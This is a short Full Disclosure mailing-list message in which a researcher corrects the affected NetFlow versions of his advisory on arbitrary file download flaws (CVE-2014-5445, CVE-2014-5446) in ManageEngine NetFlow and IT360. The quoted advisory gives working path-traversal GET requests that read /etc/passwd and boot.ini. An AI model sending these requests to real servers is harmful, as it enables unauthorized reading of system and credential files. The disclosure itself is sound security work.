On 30 Nov 2014 00:17, "Pedro Ribeiro" <[email protected]> wrote: > > Hi, > > This is part 9 of the ManageOwnage series. For previous parts see [1]. > > >> Technical details: > Vulnerability: Arbitrary file download > Constraints: unauthenticated in NetFlow; authenticated in IT360 > Affected versions: NetFlow v8.6 to v9.9; at least IT360 v10.3 and above > > CVE-2014-5445: > GET /netflow/servlet/CSVServlet?schFilePath=/etc/passwd > GET /netflow/servlet/CReportPDFServlet?schFilePath=C:\\boot.ini&pdf=true > > CVE-2014-5446 > GET /netflow/servlet/DisplayChartPDF?filename=../../../../boot.ini >
A small correction: the NetFlow vulnerable versions are actually v8.6 to v10.2 (which is the latest release). I've updated the advisory in the repo. Regards Pedro _______________________________________________ Sent through the Full Disclosure mailing list http://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
